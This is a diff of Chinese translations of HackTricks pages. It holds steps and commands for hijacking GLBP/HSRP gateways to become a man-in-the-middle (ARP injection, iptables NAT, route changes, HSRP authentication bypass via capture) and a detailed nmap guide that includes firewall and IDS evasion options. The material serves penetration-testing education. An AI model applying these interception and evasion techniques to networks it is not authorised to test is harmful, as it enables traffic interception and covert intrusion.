### GLBP 攻击机制
|
||||
攻击者可以通过发送优先级值最高(255)的 GLBP 数据包成为主要路由器。这可能导致 DoS 或 MITM 攻击,允许拦截或重定向流量。
|
||||
|
@ -48,10 +52,10 @@ GLBP 通过使用单个虚拟 IP 和多个虚拟 MAC 地址在路由器之间实
|
|||
攻击步骤:
|
||||
1. 切换到混杂模式并启用 IP 转发。
|
||||
2. 确定目标路由器并检索其 IP。
|
||||
3. 生成一个 Gratuitous ARP。
|
||||
3. 生成一个恶意的 Gratuitous ARP。
|
||||
4. 注入一个恶意的 GLBP 数据包,冒充 AVG。
|
||||
5. 为攻击者的网络接口分配一个次要 IP 地址,镜像 GLBP 虚拟 IP。
|
||||
6. 实施 SNAT 以完全可见流量。
|
||||
6. 实施 SNAT 以实现完整的流量可见性。
|
||||
7. 调整路由以确保通过原始 AVG 路由器继续访问互联网。
|
||||
|
||||
通过遵循这些步骤,攻击者将自己定位为“中间人”,能够拦截和分析网络流量,包括未加密或敏感数据。
|
||||
|
@ -70,25 +74,32 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
|||
sudo route del default
|
||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
```
|
||||
### HSRP劫持的被动解释与命令详细信息
|
||||
### 使用net-creds.py或类似工具来捕获和分析流经受损网络的数据,可以监视和拦截流量。
|
||||
|
||||
### HSRP劫持的被动解释及命令详细信息
|
||||
|
||||
#### HSRP(热备份路由器/冗余协议)概述
|
||||
HSRP是思科专有协议,旨在实现网络网关冗余。它允许将多个物理路由器配置为单个逻辑单元,共享一个IP地址。这个逻辑单元由主路由器管理,负责流量导向。与GLBP不同,GLBP使用优先级和权重等指标进行负载平衡,HSRP依赖单个活动路由器进行流量管理。
|
||||
|
||||
HSRP是思科专有协议,旨在实现网络网关冗余。它允许将多个物理路由器配置为单个逻辑单元,共享一个IP地址。这个逻辑单元由主路由器管理,负责流量导向。与使用优先级和权重进行负载平衡的GLBP不同,HSRP依赖于单个活动路由器进行流量管理。
|
||||
|
||||
#### HSRP中的角色和术语
|
||||
- **HSRP活动路由器**:充当网关的设备,管理流量。
|
||||
|
||||
- **HSRP活动路由器**:充当网关的设备,管理流量流向。
|
||||
- **HSRP备用路由器**:备用路由器,准备在活动路由器故障时接管。
|
||||
- **HSRP组**:一组路由器合作形成一个弹性的虚拟路由器。
|
||||
- **HSRP组**:一组路由器合作形成一个单一的弹性虚拟路由器。
|
||||
- **HSRP MAC地址**:分配给HSRP设置中逻辑路由器的虚拟MAC地址。
|
||||
- **HSRP虚拟IP地址**:HSRP组的虚拟IP地址,充当连接设备的默认网关。
|
||||
|
||||
#### HSRP版本
|
||||
|
||||
HSRP有两个版本,HSRPv1和HSRPv2,主要区别在于组容量、多播IP使用和虚拟MAC地址结构。该协议利用特定的多播IP地址进行服务信息交换,每3秒发送一次Hello数据包。如果在10秒内未收到数据包,则假定路由器处于非活动状态。
|
||||
|
||||
#### HSRP攻击机制
|
||||
|
||||
HSRP攻击涉及通过注入最大优先级值强制接管活动路由器的角色。这可能导致中间人攻击。攻击前的基本步骤包括收集有关HSRP设置的数据,可以使用Wireshark进行流量分析。
|
||||
|
||||
#### 绕过HSRP身份验证的步骤
|
||||
|
||||
1. 将包含HSRP数据的网络流量保存为.pcap文件。
|
||||
```shell
|
||||
tcpdump -w hsrp_traffic.pcap
|
||||
|
|
|
@ -6,13 +6,17 @@
|
|||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** 上关注我们**。
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
```
|
||||
nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
||||
```
|
||||
|
@ -22,22 +26,22 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
|||
|
||||
* **`<ip>,<net/mask>`:** 直接指定IP
|
||||
* **`-iL <ips_file>`:** 列出IPs
|
||||
* **`-iR <number>`**: 随机IP数量,可以使用 `--exclude <Ips>` 或 `--excludefile <file>` 排除可能的IPs。
|
||||
* **`-iR <number>`**: 随机IP数量,可以使用 `--exclude <Ips>` 或 `--excludefile <file>` 排除可能的IP。
|
||||
|
||||
### 设备发现
|
||||
|
||||
默认情况下,Nmap启动一个发现阶段,包括:`-PA80 -PS443 -PE -PP`
|
||||
|
||||
* **`-sL`**: 非侵入式,列出目标,通过DNS请求解析名称。用于了解例如 www.prueba.es/24 所有IP是否为我们的目标。
|
||||
* **`-Pn`**: 无ping。如果您知道它们都是活动的(否则,您可能会浪费很多时间,但此选项也会产生错误的否定说它们不活动),它可以防止发现阶段。
|
||||
* **`-Pn`**: 无ping。如果您知道它们都是活动的(否则,您可能会浪费很多时间,但此选项也会产生虚假负面结果,表示它们不活动),它可以防止发现阶段。
|
||||
* **`-sn`** : 无端口扫描。完成侦察阶段后,不扫描端口。相对隐蔽,允许进行小范围网络扫描。具有特权时,发送一个ACK(-PA)到80,一个SYN(-PS)到443,以及一个回显请求和一个时间戳请求,没有特权时总是完成连接。如果目标是网络,则仅使用ARP(-PR)。如果与另一个选项一起使用,则仅丢弃另一个选项的数据包。
|
||||
* **`-PR`**: ARP Ping。在分析我们网络中的计算机时,默认使用它,比使用ping更快。如果不想使用ARP数据包,请使用 `--send-ip`。
|
||||
* **`-PS <ports>`**: 发送SYN数据包,如果回答SYN/ACK则为开放(回答RST以避免结束连接),如果回答RST则为关闭,如果不回答则为不可达。如果没有特权,将自动使用完整连接。如果未指定端口,则默认为80。
|
||||
* **`-PR`**: ARP ping。在分析我们网络中的计算机时默认使用,比使用ping更快。如果不想使用ARP数据包,请使用 `--send-ip`。
|
||||
* **`-PS <ports>`**: 发送SYN数据包,如果回答SYN/ACK则为开放(回答RST以避免结束连接),如果回答RST则为关闭,如果不回答则为不可达。如果没有特权,则自动使用完整连接。如果未指定端口,则默认为80。
|
||||
* **`-PA <ports>`**: 与前一个类似,但使用ACK,结合两者可以获得更好的结果。
|
||||
* **`-PU <ports>`**: 目标相反,发送到预期关闭的端口。某些防火墙仅检查TCP连接。如果关闭,则回答端口不可达,如果回答其他ICMP或不回答,则保留为目标不可达。
|
||||
* **`-PU <ports>`**: 目标相反,发送到预期关闭的端口。某些防火墙仅检查TCP连接。如果关闭,则回答端口不可达,如果回答其他ICMP或不回答,则保持为目标不可达。
|
||||
* **`-PE, -PP, -PM`** : ICMP PINGS: 回显回复,时间戳和地址掩码。用于确定目标是否活动。
|
||||
* **`-PY<ports>`**: 默认发送SCTP INIT探测到80,INIT-ACK(开放)或ABORT(关闭)或无回复或ICMP不可达(不活动)可以回复。
|
||||
* **`-PO <protocols>`**: 在标头中指定协议,默认为1(ICMP),2(IGMP)和4(Encap IP)。对于ICMP、IGMP、TCP(6)和UDP(17)协议,发送协议标头,对于其余协议,仅发送IP标头。目的是由于标头的畸形,回复协议不可达或相同协议的响应,以了解其是否启动。
|
||||
* **`-PY<ports>`**: 默认发送SCTP INIT探测到80,INIT-ACK(开放)或ABORT(关闭)或无回应或ICMP不可达(不活动)可以回复。
|
||||
* **`-PO <protocols>`**: 在标头中指定协议,默认为1(ICMP),2(IGMP)和4(Encap IP)。对于ICMP、IGMP、TCP(6)和UDP(17)协议,发送协议标头,对于其余协议仅发送IP标头。目的是由于标头的畸形,回答协议不可达或相同协议的响应,以了解其是否处于活动状态。
|
||||
* **`-n`**: 无DNS
|
||||
* **`-R`**: 始终DNS
|
||||
|
||||
|
@ -45,58 +49,57 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
|||
|
||||
* **`-sS`**: 不完成连接,因此不留下痕迹,如果可以使用非常好(特权)。默认使用此选项。
|
||||
* **`-sT`**: 完成连接,因此会留下痕迹,但可以确保使用。默认情况下没有特权。
|
||||
* **`-sU`**: 较慢,用于UDP。主要用于:DNS(53), SNMP(161,162), DHCP(67和68), (-sU53,161,162,67,68): 开放(回复),关闭(端口不可达),过滤(其他ICMP),开放/过滤(无回复)。对于开放/过滤,-sV发送大量请求以检测nmap支持的任何版本,并可以检测真实状态。这会大大增加时间。
|
||||
* **`-sU`**: 较慢,用于UDP。主要用于:DNS(53), SNMP(161,162), DHCP(67和68), (-sU53,161,162,67,68): 开放(回复),关闭(端口不可达),过滤(其他ICMP),开放/过滤(无回应)。对于开放/过滤,-sV发送大量请求以检测nmap支持的任何版本,并可以检测真实状态。这会大大增加时间。
|
||||
* **`-sY`**: SCTP协议无法建立连接,因此没有日志,类似于-PY
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas,可以穿透一些防火墙并提取信息。它们基于符合标准的机器应该用RST回复所有没有SYN、RST或ACK标志的请求:开放/过滤(无回复),关闭(RST),过滤(ICMP不可达)。在Windows、CIsco、BSDI和OS/400上不可靠。在Unix上是可靠的。
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas,可以穿透一些防火墙并提取信息。它们基于符合标准的机器应该用RST回复所有没有SYN、RST或ACK标志的请求:开放/过滤(无回应),关闭(RST),过滤(ICMP不可达)。在Windows、CIsco、BSDI和OS/400上不可靠。在Unix上是可靠的。
|
||||
* **`-sM`**: Maimon扫描:发送FIN和ACK标志,用于BSD,目前将所有返回为关闭。
|
||||
* **`-sA, sW`**: ACK和Window,用于检测防火墙,了解端口是否被过滤。-sW可以区分开放/关闭,因为开放的端口会以不同的窗口值回复:开放(RST,窗口不为0),关闭(RST窗口=0),过滤(ICMP不可达或无回复)。并非所有计算机都按此方式工作,因此如果全部关闭,则不起作用,如果有一些开放,则工作正常,如果有许多开放和少数关闭,则工作方式相反。
|
||||
* **`-sI`:** 空闲扫描。对于存在主动防火墙但我们知道它不会过滤到某个IP(或者当我们只想要匿名时)可以使用僵尸扫描器(适用于所有端口),要查找可能的僵尸,可以使用脚本ipidseq或exploit auxiliary/scanner/ip/ipidseq。此扫描器基于IP数据包的IPID编号。
|
||||
* **`-sA, sW`**: ACK和Window,用于检测防火墙,了解端口是否被过滤。-sW可以区分开放/关闭,因为开放的端口会用不同的窗口值回复:开放(带有非0窗口的RST),关闭(RST窗口=0),过滤(ICMP不可达或无回应)。并非所有计算机都按此方式工作,因此如果全部关闭,则不起作用,如果有一些开放,则正常工作,如果有许多开放和少数关闭,则反向工作。
|
||||
* **`-sI`:** 空闲扫描。对于存在主动防火墙但我们知道它不会过滤到某个IP的情况(或者当我们只是想要匿名时),我们可以使用僵尸扫描器(适用于所有端口),要查找可能的僵尸,我们可以使用脚本ipidseq或exploit auxiliary/scanner/ip/ipidseq。此扫描器基于IP数据包的IPID编号。
|
||||
* **`--badsum`:** 发送错误的校验和,计算机将丢弃数据包,但防火墙可能会回复,用于检测防火墙。
|
||||
* **`-sZ`:** “奇怪”的SCTP扫描器,通过发送带有cookie回显片段的探测,如果开放则应丢弃,如果关闭则回复ABORT。它可以穿过init无法穿过的防火墙,不好的是它不能区分过滤和开放。
|
||||
* **`-sO`:** 协议IP扫描。发送错误和空标头,有时甚至无法区分协议。如果ICMP不可达协议到达,则为关闭,如果不可达端口到达,则为开放,如果到达其他错误,则为过滤,如果没有到达任何内容,则为开放|过滤。
|
||||
* **`-b <server>`:** FTPhost--> 用于从另一台主机扫描主机,通过连接另一台机器的ftp,并要求其向您要扫描的端口发送文件,根据答复我们将知道它们是否开放。 \[\<user>:\<password>@]\<server>\[:\<port>] 几乎所有ftp服务器现在不再允许您执行此操作,因此实际上用处不大。
|
||||
* **`-sZ`:** “奇怪”的SCTP扫描器,当发送带有cookie回显片段的探测时,如果开放则应该被丢弃,如果关闭则应该回复ABORT。可以通过无法通过的防火墙,不好的是它不能区分过滤和开放。
|
||||
* **`-sO`:** 协议IP扫描。发送错误和空标头,有时甚至无法区分协议。如果收到ICMP不可达协议,则为关闭,如果收到不可达端口,则为开放,如果收到其他错误,则为过滤,如果没有收到任何内容,则为开放|过滤。
|
||||
* **`-b <server>`:** FTPhost--> 用于从另一台主机扫描主机,通过连接另一台机器的ftp,并要求其向您要扫描的端口发送文件,根据回复我们将知道它们是否开放。 \[\<user>:\<password>@]\<server>\[:\<port>] 几乎所有ftp服务器现在不允许您这样做,因此实用性很小。
|
||||
|
||||
### **集中分析**
|
||||
|
||||
**-p:** 用于指定要扫描的端口。要选择65335个端口:**-p-** 或 **-p all**。Nmap根据其流行度进行内部分类。默认使用前1000个主要端口。使用 **-F**(快速扫描)分析前100个主要端口。使用 **--top-ports \<number>** 分析指定数量的主要端口(从1到65335)。按随机顺序检查端口,为了避免这种情况,使用 **-r**。还可以选择端口:20-30,80,443,1024- 这意味着查看1024之后的端口。还可以按协议对端口进行分组:U:53,T:21-25,80,139,S:9。还可以选择nmap中常见端口范围内的端口:-p \[-1024] 分析nmap-services中包含的端口直到1024。**--port-ratio \<ratio>** 分析常见端口,比率必须介于0和1之间。
|
||||
**-p:** 用于指定要扫描的端口。要选择65335个端口:**-p-** 或 **-p all**。Nmap根据其流行度有内部分类。默认使用前1000个端口。使用 **-F**(快速扫描)分析前100个端口。使用 **--top-ports \<number>** 分析指定数量的主要端口(从1到65335)。按随机顺序检查端口,为了避免这种情况发生 **-r**。还可以选择端口:20-30,80,443,1024- 这最后意味着查看1024之后的端口。还可以按协议分组端口:U:53,T:21-25,80,139,S:9。还可以选择nmap中常用端口范围内的端口:-p \[-1024] 分析nmap-services中包含的端口直到1024。**--port-ratio \<ratio>** 分析常见端口,比率必须介于0和1之间。
|
||||
|
||||
**-sV** 版本扫描,可以调整强度从0到9,默认为7。
|
||||
|
||||
**--version-intensity \<number>** 调整强度,较低的强度只会发送最可能的探测,而不是全部。通过这样可以大大缩短UDP扫描时间。
|
||||
**--version-intensity \<numero>** 调整强度,较低的强度只会发送最可能的探测,而不是全部。这样可以大大缩短UDP扫描时间。
|
||||
|
||||
**-O** 操作系统检测
|
||||
|
||||
**--osscan-limit** 要正确扫描主机,至少需要一个端口开放和一个关闭,如果不满足此条件并且已设置此选项,则不会尝试进行操作系统预测(节省时间)
|
||||
|
||||
**--osscan-guess** 当操作系统检测不完美时,这会增加尝试次数
|
||||
**--osscan-guess** 当操作系统检测不完美时,会增加工作量
|
||||
|
||||
**脚本**
|
||||
|
||||
\--script _\<filename>_|_\<category>_|_\<directory>_|_\<expression>_\[,...]
|
||||
|
||||
要使用默认脚本,只需使用 -sC 或 --script=default
|
||||
默认情况下使用-sC或--script=default
|
||||
|
||||
可用类型有:auth、broadcast、default、discovery、dos、exploit、external、fuzzer、intrusive、malware、safe、version 和 vuln
|
||||
可用的类型有: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln
|
||||
|
||||
* **Auth:** 执行所有可用于身份验证的脚本
|
||||
* **Default:** 执行工具的默认基本脚本
|
||||
* **Auth:** 运行所有可用于身份验证的脚本
|
||||
* **Default:** 运行工具的默认基本脚本
|
||||
* **Discovery:** 检索目标或受害者的信息
|
||||
* **External:** 用于使用外部资源的脚本
|
||||
* **Intrusive:** 使用被认为对受害者或目标具有侵入性的脚本
|
||||
* **Malware:** 检查是否存在恶意代码或后门打开的连接
|
||||
* **Safe:** 执行不具有侵入性的脚本
|
||||
* **Safe:** 运行非侵入性脚本
|
||||
* **Vuln:** 发现最常见的漏洞
|
||||
* **All:** 执行所有可用的NSE扩展脚本
|
||||
* **All:** 运行所有可用的NSE扩展脚本
|
||||
|
||||
要查找脚本:
|
||||
搜索脚本:
|
||||
|
||||
**nmap --script-help="http-\*" -> 以http-开头的脚本**
|
||||
|
||||
**nmap --script-help="not intrusive" -> 除这些之外的所有脚本**
|
||||
**nmap --script-help="not intrusive" -> 除了这些之外的所有脚本**
|
||||
|
||||
**nmap --script-help="default or safe" -> 在其中一个或两者中的脚本**
|
||||
|
||||
**nmap --script-help="default and safe" --> 同时在两者中的脚本**
|
||||
**nmap --script-help="default and safe" --> 同时存在的脚本**
|
||||
|
||||
**nmap --script-help="(default or safe or intrusive) and not http-\*"**
|
||||
|
||||
|
@ -110,39 +113,39 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
|||
|
||||
\--script-updatedb
|
||||
|
||||
**要使用脚本,只需输入:namp --script Script_Name target** --> 输入脚本将同时运行脚本和扫描程序,因此也可以添加 **“safe=1”** 以仅运行安全脚本。
|
||||
**要运行单个脚本,只需输入: nmap --script Script_Name target** --> 输入脚本将同时运行脚本和扫描器,因此也可以添加扫描器选项,可以添加 **“safe=1”** 以仅运行安全脚本。
|
||||
|
||||
**时间控制**
|
||||
|
||||
**Nmap可以以秒、分钟、毫秒修改时间:--host-timeout arguments 900000ms, 900, 900s, and 15m 都是相同的。**
|
||||
**Nmap可以调整时间单位为秒、分钟、毫秒:** --host-timeout 参数 900000ms, 900, 900s, and 15m 都是相同的。
|
||||
|
||||
Nmap将要扫描的主机总数分成组,并以块的形式分析这些组,直到所有主机都被分析完毕,才会转到下一个块(用户也不会在分析块之前收到任何更新),这样对于nmap来说更加高效使用大组。默认情况下,在C类中使用256。
|
||||
Nmap将要扫描的主机总数分成组,并以块的形式分析这些组,直到所有组都被分析完毕,才会转移到下一个块(用户在块被分析之前也不会收到任何更新),这样,对于nmap来说使用大组更为高效。默认情况下,在C类中使用256。
|
||||
|
||||
可以使用\*\*--min-hostgroup\*\* _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_(调整并行扫描组大小)
|
||||
|
||||
可以控制并行扫描器的数量,但最好不要这样做(nmap已根据网络状态自动进行控制):**--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
||||
可以控制并行扫描器的数量,但最好不要这样做(nmap已根据网络状态自动进行控制): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
||||
|
||||
可以调整rtt超时时间,但通常不需要:**--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
||||
可以调整rtt超时时间,但通常不需要: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
||||
|
||||
可以调整尝试次数:**--max-retries** _**\<numtries>**_
|
||||
可以修改尝试次数:**--max-retries** _**\<numtries>**_
|
||||
|
||||
可以调整主机扫描时间:**--host-timeout** _**\<time>**_
|
||||
可以修改主机扫描时间: **--host-timeout** _**\<time>**_
|
||||
|
||||
可以调整每个测试之间的时间以减慢速度:**--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
可以调整每个测试之间的时间间隔以减慢速度: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
|
||||
可以调整每秒发送的数据包数量:**--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
|
||||
可以调整每秒发送的数据包数量: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
|
||||
|
||||
许多端口在被过滤或关闭时响应速度很慢,如果只关注开放的端口,可以使用以下选项加快速度:**--defeat-rst-ratelimit**
|
||||
许多端口由于被过滤或关闭而响应时间较长,如果只关注打开的端口,可以使用以下选项加快速度: **--defeat-rst-ratelimit**
|
||||
|
||||
要定义nmap的侵略性程度:-T paranoid|sneaky|polite|normal|aggressive|insane
|
||||
用于定义nmap攻击强度: -T paranoid|sneaky|polite|normal|aggressive|insane
|
||||
|
||||
\-T (0-1)
|
||||
\-T (0-5)
|
||||
|
||||
\-T0 --> 一次只扫描一个端口,等待5分钟才进行下一个
|
||||
\-T0 --> 一次只扫描一个端口,等待5分钟后进行下一个
|
||||
|
||||
\-T1 和 T2 --> 非常相似,但每次测试之间等待15和0.4秒
|
||||
\-T1 和 T2 --> 非常相似,但分别等待15秒和0.4秒进行下一个测试
|
||||
|
||||
\-T3 --> 默认操作,同时进行
|
||||
\-T3 --> 默认操作,包括并行操作
|
||||
|
||||
\-T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms
|
||||
|
||||
|
@ -150,16 +153,134 @@ Nmap将要扫描的主机总数分成组,并以块的形式分析这些组,
|
|||
|
||||
**防火墙/IDS**
|
||||
|
||||
防火墙不允许通过某些端口并分析数据包。
|
||||
阻止端口通信并分析数据包。
|
||||
|
||||
**-f** 用于分片数据包,默认在标头后分片为8字节,要指定大小,请使用..mtu(在这种情况下,不要使用-f),偏移必须是8的倍数。**版本扫描和脚本不支持分片**
|
||||
**-f** 用于分片数据包,默认在头部后分片为8字节,要指定大小使用 ..mtu(不要与-f一起使用),偏移必须是8的倍数。**版本扫描器和脚本不支持分片**
|
||||
|
||||
**-D decoy1,decoy2,ME** Nmap发送扫描器,但源IP地址是其他IP地址,这样可以隐藏您的IP地址。如果在列表中包含ME,Nmap会将您放在那里,最好在您之前放5或6个以完全掩盖您。可以使用RND:\<number>生成随机IP。在网络内部时,最好使用活动的IP地址,否则很容易发现您是唯一活动的IP。
|
||||
**-D decoy1,decoy2,ME** Nmap发送扫描器,但使用其他IP地址作为源,以隐藏您的真实IP地址。如果将ME放在列表中,Nmap会将您定位到那里,最好在您之前放置5或6个以完全掩盖您的身份。可以使用RND:\<number>生成随机IP。不适用于无TCP连接的版本检测。如果在网络内部,最好使用活动IP地址,否则很容易发现您是唯一活动的。
|
||||
|
||||
要使用随机IP地址:nmap-D RND: 10 Ip_target
|
||||
使用随机IP地址: nmap-D RND: 10 Ip_target
|
||||
|
||||
**-S IP** 当Nmap无法获取您的IP地址时,您需要使用此选项提供IP地址。也可用于让其他目标认为有其他目标正在扫描它们。
|
||||
**-S IP** 当Nmap无法获取您的IP地址时,您需要使用此选项提供IP地址。也可用于让目标认为有其他扫描目标。
|
||||
|
||||
**-e \<interface>** 选择接口
|
||||
|
||||
许多管理员会打开入站端口以确保一切正常运行,并且他们更喜欢这种解决方案而不是寻找其他解决方案。这些可能是DNS
|
||||
许多管理员会保持入站端口开放以确保一切正常运行,这样更容易而不是寻找其他解决方案。这些可能是DNS或FTP端口...为了查找此漏洞,nmap提供: **--source-port** _**\<portnumber>**_**;-g** _**\<portnumber>**_ _等效_
|
||||
|
||||
**--data** _**\<hex string>**_ 用于发送十六进制文本: --data 0xdeadbeef and --data \xCA\xFE\x09
|
||||
|
||||
**--data-string** _**\<string>**_ 用于发送普通文本: --data-string "Scan conducted by Security Ops, extension 7192"
|
||||
|
||||
**--data-length** _**\<number>**_ Nmap仅发送头部,使用此选项可添加指定数量的字节(将随机生成)
|
||||
|
||||
要完全配置IP数据包,请使用**--ip-options**
|
||||
|
||||
如果要查看发送和接收的数据包选项,请指定--packet-trace。有关使用Nmap的IP选项的更多信息和示例,请参阅[http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52)。
|
||||
|
||||
**--ttl** _**\<value>**_
|
||||
|
||||
**--randomize-hosts** 使攻击不那么明显
|
||||
|
||||
**--spoof-mac** _**\<MAC address, prefix, or vendor name>**_ 更改MAC地址示例: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco
|
||||
**--proxies** _**\<逗号分隔的代理URL列表>**_ 有时代理无法保持nmap所需的连接数,因此需要调整并行性: --max-parallelism
|
||||
|
||||
**-sP** 通过ARP在当前网络中发现主机
|
||||
|
||||
许多管理员在防火墙中创建规则,允许通过特定端口(如20、53和67)传递所有数据包,我们可以告诉nmap从这些端口发送数据包: **nmap --source-port 53 Ip**
|
||||
|
||||
**输出**
|
||||
|
||||
**-oN file** 普通输出
|
||||
|
||||
**-oX file** XML输出
|
||||
|
||||
**-oS file** Script kiddies输出
|
||||
|
||||
**-oG file** grepable输出
|
||||
|
||||
**-oA file** 除了-oS之外的所有输出
|
||||
|
||||
**-v level** 详细程度
|
||||
|
||||
**-d level** 调试
|
||||
|
||||
**--reason** 主机和状态的原因
|
||||
|
||||
**--stats-every time** 每隔一段时间显示运行状态
|
||||
|
||||
**--packet-trace** 查看发送的数据包,可以指定过滤器,如: --version-trace 或 --script-trace
|
||||
|
||||
**--open** 显示开放、开放|过滤和未过滤的端口
|
||||
|
||||
**--resume file** 生成摘要
|
||||
|
||||
**其他**
|
||||
|
||||
**-6** 允许ipv6
|
||||
|
||||
**-A** 等同于 -O -sV -sC --traceroute
|
||||
|
||||
**运行时**
|
||||
|
||||
在nmap运行时,可以更改选项:
|
||||
|
||||
v / V 增加/减少详细程度
|
||||
|
||||
d / D 增加/减少调试级别
|
||||
|
||||
p / P 打开/关闭数据包跟踪
|
||||
|
||||
? 打印运行时交互帮助屏幕
|
||||
|
||||
**Vulscan**
|
||||
|
||||
nmap的脚本,查看从离线数据库(从其他重要数据库下载)获取的服务版本,并返回可能的漏洞
|
||||
|
||||
使用的数据库包括:
|
||||
|
||||
1. Scipvuldb.csv | [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb)
|
||||
2. Cve.csv | [http://cve.mitre.org](http://cve.mitre.org/)
|
||||
3. Osvdb.csv | [http://www.osvdb.org](http://www.osvdb.org/)
|
||||
4. Securityfocus.csv | [http://www.securityfocus.com/bid/](http://www.securityfocus.com/bid/)
|
||||
5. Securitytracker.csv | [http://www.securitytracker.com](http://www.securitytracker.com/)
|
||||
6. Xforce.csv | [http://xforce.iss.net](http://xforce.iss.net/)
|
||||
7. Exploitdb.csv | [http://www.exploit-db.com](http://www.exploit-db.com/)
|
||||
8. Openvas.csv | [http://www.openvas.org](http://www.openvas.org/)
|
||||
|
||||
下载并安装到Nmap文件夹:
|
||||
|
||||
wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/
|
||||
|
||||
还需下载数据库包并添加到 /usr/share/nmap/scripts/vulscan/
|
||||
|
||||
用法:
|
||||
|
||||
使用所有数据库: sudo nmap -sV --script=vulscan HOST\_TO\_SCAN
|
||||
|
||||
使用特定数据库: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_TO\_SCAN
|
||||
|
||||
## 加快Nmap服务扫描速度 x16
|
||||
|
||||
根据[**此帖子**](https://joshua.hu/nmap-speedup-service-scanning-16x),您可以通过将 **`/usr/share/nmap/nmap-service-probes`** 中的所有 **`totalwaitms`** 值修改为 **300**,**`tcpwrappedms`** 修改为 **200** 来加快nmap服务分析速度。
|
||||
|
||||
此外,没有明确定义 **`servicewaitms`** 的探测使用默认值 **`5000`**。因此,我们可以为每个探测添加值,或者我们可以自己**编译nmap**并在[**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79)中更改默认值。
|
||||
|
||||
如果您不想在 `/usr/share/nmap/nmap-service-probes` 文件中完全更改 **`totalwaitms`** 和 **`tcpwrappedms`** 的值,可以编辑[parsing code](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358),使得`nmap-service-probes`文件中的这些值完全被忽略。
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)系列
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
